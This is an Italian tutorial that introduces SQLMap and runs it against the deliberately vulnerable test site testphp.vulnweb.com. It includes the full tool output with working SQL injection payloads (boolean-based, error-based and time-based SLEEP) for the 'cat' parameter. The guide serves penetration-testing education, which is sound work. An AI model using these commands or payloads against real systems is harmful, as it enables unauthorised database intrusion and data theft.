Introduzione a SQLMap
SQLMap è un utile strumento a servizio dei penetration tester, usato per la verifica e l'exploitation delle vulnerabilità di tipo SQL Injenction. Il progetto è attivo dal 2006 e ad oggi viene considerato da molti il migliore programma in circolazione di questo genere. I punti di forza sono il potente motore di rilevamento delle vulnerabilità, il pieno supporto a MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, SQLite, Firebird, Sybase e SAP MaxDB, il supporto di ben 5 differenti tecniche di SQL injection (boolean-based blind, time-based blind, error-based, UNION query e stacked queries), senza considerare la possibilità di integrazione con altri progetti open source (vedi Metasploit, w3af).
Per i nostri esempi ci serviremo come di consueto di BackBox Linux, una distribuzione orientata al penetration testing. Al suo interno si trova preinstallata l'ultima versione stabile di SQLMap. Per scaricare la versione di sviluppo digitare da terminale il seguente comando:
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
Utilizzo SQLMap
Vedremo ora con alcuni esempi pratici, come sia relativamente semplice l'utilizzo di questo programma. Per ragioni editoriali non sarà possibile analizzare completamente tutte le funzionalità, ci concentreremo sulle fondamentali quindi prima di iniziare è consigliato consultare l'help per avere una idea delle potenzialità di questo programma. Da terminale digitare:
sqlmap --help
I nostri test saranno effettuati su http://testphp.vulnweb.com/ un sito web che ci permetterà di operare in assoluta sicurezza e nel rispetto della legge. Iniziamo navigando tra le pagine del sito per individuare una possibile SQL Injection da sfruttare. L'URL che fa a caso nostro è il seguente:
http://testphp.vulnweb.com/listproducts.php?cat=1
Si tratta della pagina relativa alle varie "Categorie", cambiando il campo "ID" è possibile navigare da una sezione all'altra. Per verificare la presenza della SQL Injection, sostituiremo il valore numerico con un semplice apice (') ottenendo il classico messaggio di errore di MySQL:
Vedremo ora come utilizzare SQLMap per ottenere maggiori informazioni. Da terminale digitare:
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1"
il programma restituirà in output:
user@backbox:~$ sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1"
sqlmap/0.9 - automatic SQL injection and database takeover tool http://sqlmap.sourceforge.net [*] starting at: 12:44:23 [12:44:23] [INFO] using '/home/user/.sqlmap/output/testphp.vulnweb.com/session' as session file [12:44:23] [INFO] testing connection to the target url [12:44:24] [INFO] testing if the url is stable, wait a few seconds [12:44:25] [INFO] url is stable [12:44:25] [INFO] testing if GET parameter 'cat' is dynamic [12:44:25] [INFO] confirming that GET parameter 'cat' is dynamic [12:44:25] [INFO] GET parameter 'cat' is dynamic [12:44:26] [INFO] heuristic test shows that GET parameter 'cat' might be injectable (possible DBMS: MySQL) [12:44:26] [INFO] testing sql injection on GET parameter 'cat' [12:44:26] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [12:44:27] [INFO] GET parameter 'cat' is 'AND boolean-based blind - WHERE or HAVING clause' injectable [12:44:27] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' [12:44:27] [INFO] GET parameter 'cat' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable [12:44:27] [INFO] testing 'MySQL > 5.0.11 stacked queries' [12:44:27] [INFO] testing 'MySQL > 5.0.11 AND time-based blind' [12:45:27] [INFO] GET parameter 'cat' is 'MySQL > 5.0.11 AND time-based blind' injectable [12:45:27] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [12:45:30] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' GET parameter 'cat' is vulnerable. Do you want to keep testing the others? [y/N] n sqlmap identified the following injection points with a total of 29 HTTP(s) requests: --- Place: GET Parameter: cat Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: cat=1 AND 7178=7178 Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: cat=1 AND (SELECT 8176 FROM(SELECT COUNT(*),CONCAT(CHAR(58,108,109,97,58),(SELECT (CASE WHEN (8176=8176) THEN 1 ELSE 0 END)),CHAR(58,115,114,114,58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) Type: AND/OR time-based blind Title: MySQL > 5.0.11 AND time-based blind Payload: cat=1 AND SLEEP(5) --- [12:46:08] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu 6.10 or 6.06 (Edgy Eft or Dapper Drake) web application technology: Apache 2.0.55, PHP 5.1.2 back-end DBMS: MySQL 5.0 [12:46:08] [INFO] Fetched data logged to text files under '/home/user/.sqlmap/output/testphp.vulnweb.com' [*] shutting down at: 12:46:08
SQLMap impiegherà alcuni minuti per poi individuare una SQL Injection di tipo "boolean-based blind", "error-based" e "AND/OR time-based blind" specificando anche i relativi Payload. Vengono inoltre fornite informazioni sul sistema operativo, sul tipo di web server e sulla versione del database.